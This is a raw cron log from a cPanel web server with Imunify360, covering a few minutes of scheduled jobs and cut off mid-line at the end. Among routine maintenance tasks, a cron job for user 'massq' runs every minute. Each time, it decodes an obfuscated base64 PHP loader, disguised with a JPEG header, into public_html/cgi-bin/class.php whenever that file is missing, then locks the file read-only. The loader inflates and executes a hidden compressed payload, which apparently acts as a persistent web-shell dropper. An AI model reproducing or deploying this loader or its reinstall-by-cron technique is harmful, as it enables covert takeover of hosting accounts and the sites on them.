Sep  7 08:55:01 server CROND[12046]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 08:56:01 server CROND[12906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:56:01 server CROND[12907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:56:01 server CROND[12908]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:57:01 server CROND[13385]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 08:57:01 server CROND[13386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:57:01 server CROND[13387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:57:01 server CROND[13388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:58:01 server CROND[13768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:58:01 server CROND[13769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:58:01 server CROND[13770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 08:59:01 server CROND[14162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 08:59:01 server CROND[14163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 08:59:01 server CROND[14164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:00:01 server CROND[15135]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:00:01 server CROND[15136]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  7 09:00:01 server CROND[15138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:00:01 server CROND[15141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:00:01 server CROND[15143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:00:01 server CROND[15140]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:00:01 server CROND[15144]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 09:00:01 server CROND[15147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:00:01 server CROND[15145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:00:01 server CROND[15142]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:01:01 server CROND[15985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:01:01 server CROND[15987]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 09:01:01 server CROND[15986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:01:01 server CROND[15988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:01:01 server run-parts(/etc/cron.hourly)[15987]: starting 0anacron
Sep  7 09:01:01 server run-parts(/etc/cron.hourly)[16008]: finished 0anacron
Sep  7 09:02:01 server CROND[16377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:02:01 server CROND[16378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:02:01 server CROND[16379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:03:01 server CROND[16864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:03:01 server CROND[16865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:03:01 server CROND[16866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:04:01 server CROND[17257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:04:01 server CROND[17259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:04:01 server CROND[17258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:05:01 server CROND[17657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:05:01 server CROND[17659]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 09:05:01 server CROND[17665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:05:01 server CROND[17663]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:05:01 server CROND[17666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:05:01 server CROND[17661]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:05:01 server CROND[17664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:05:01 server CROND[17662]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:06:01 server CROND[18491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:06:01 server CROND[18492]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:06:01 server CROND[18493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:07:01 server CROND[18870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:07:01 server CROND[18871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:07:01 server CROND[18872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6